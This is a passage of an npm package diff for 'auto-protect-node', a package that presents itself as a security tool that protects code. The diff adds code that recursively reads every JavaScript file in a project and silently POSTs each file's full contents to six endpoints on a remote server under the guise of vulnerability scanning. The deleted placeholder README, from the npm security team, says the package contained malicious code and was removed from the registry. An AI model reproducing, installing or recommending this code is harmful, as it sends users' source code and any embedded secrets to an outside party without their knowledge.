986
+ if (file === "node_modules" || file === "build") {
987
+ continue;
988
+ }
989
+ const subresults = await sendFilesToServer(filePath, serverUrl,sid,middlewares);
990
+ results.push(...subresults);
991
+ } else {
992
+ if (path.extname(file) === ".js") {
993
+ const fileContent = fs.readFileSync(filePath, "utf8");
994
+ try {
995
+ const api1 = axios.post(`${serverUrl}/scanhardcodedata`, { fileName: file, content: fileContent,sid });
996
+ const api2 = axios.post(`${serverUrl}/scanpasswordhashing`, { fileName: file, content: fileContent,sid });
997
+ const api3 = axios.post(`${serverUrl}/xssvulnerability`, { fileName: file, content: fileContent,sid });
998
+ const api4 = axios.post(`${serverUrl}/redirectvulnerability`, { fileName: file, content: fileContent,sid });
999
+ const api5 = axios.post(`${serverUrl}/sessionvulnerability`, { fileName: file, content: fileContent,sid,middlewares });
1000
+ const api6 = axios.post(`${serverUrl}/sqlvulnerability`, { fileName: file, content: fileContent,sid });
1001
+ const responses = await axios.all([api1, api2, api3, api4, api5, api6]);
1002
+ responses.forEach((response, index) => {
1003
+ results.push(response.data);
1004
+ });
1005
+ } catch (error) {
1006
+ // console.log(JSON.stringify(error));
1007
+ }
1008
+ }
1009
+ }
1010
+ }
1011
+ }
1012
+
1013
+ return results;
1014
+ } catch (error) {
1015
+ // console.log(error);
1016
+ return [];
1017
+ }
1018
+ }
1019
+
1020
+ const CallData=async (sid)=>{
1021
+ const allowedDomain = await Ialloweddomain(sid);
1022
+ if(allowedDomain.allowed){
1023
+ const d= await axios.get(`http://${sid}/sitescanner?sid=${sid}`)
1024
+ .then(res=>res)
1025
+ .catch(err=>err)
1026
+ // console.log(d)
1027
+ const b= await axios.get(`http://${sid}/sitereport??id=1&id=3`)
1028
+ .then(res=>res.data)
1029
+ .catch(err=>err?.response?.data)
1030
+ // console.log(b)
1031
+ }else{
1032
+ consoleColorText("Please provide a valid Domain name", "red");
1033
+ }
1034
+
1035
+
1036
+ }
1037
+
1038
+ module.exports =async (app, server, sid) => {
1039
+ try {
1040
+ if (!isExpressApplication(app)) {
1041
+ consoleColorText("Please provide a valid Express application", "red");
1042
+ } else if (!isHttpServer(server)) {
1043
+ consoleColorText("Please provide a valid HTTP server", "red");
1044
+ } else if (!sid) {
1045
+ consoleColorText("Please provide a valid hostname", "red");
1046
+ } else if (app && server && sid) {
1047
+ app.use(express.json(), express.urlencoded({ extended: true }));
1048
+ app.use(HostValidator(app, server, sid));
1049
+ app.use(Middleware);
1050
+ app.get("/sitereport", combinedController);
1051
+ app.get("/sitescanner", HttpParameterpollutionchecker);
1052
+ CallData(sid)
1053
+ }
1054
+ } catch (error) {
1055
+ // console.log(error);
1056
+ consoleColorText(error.message, "red");
1057
+ }
1058
+ }
package/package.json CHANGED
@@ -1,6 +1,23 @@
1
- {
2
- "name": "auto-protect-node",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "auto-protect-node",
3
+ "version": "1.1.0",
4
+ "description": "auto protect your code",
5
+ "main": "index.js",
6
+ "repository": {
7
+ "type": "git",
8
+ "url": "git+https://github.com/shivam-handsintechnology/auto-protect-node.git"
9
+ },
10
+ "keywords": [
11
+ "security"
12
+ ],
13
+ "author": "handsintechnology",
14
+ "license": "ISC",
15
+ "bugs": {
16
+ "url": "https://github.com/shivam-handsintechnology/auto-protect-node/issues"
17
+ },
18
+ "homepage": "https://github.com/shivam-handsintechnology/auto-protect-node#readme",
19
+ "dependencies": {
20
+ "axios": "^1.4.0",
21
+ "express": "^4.18.2"
22
+ }
23
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=auto-protect-node for more information.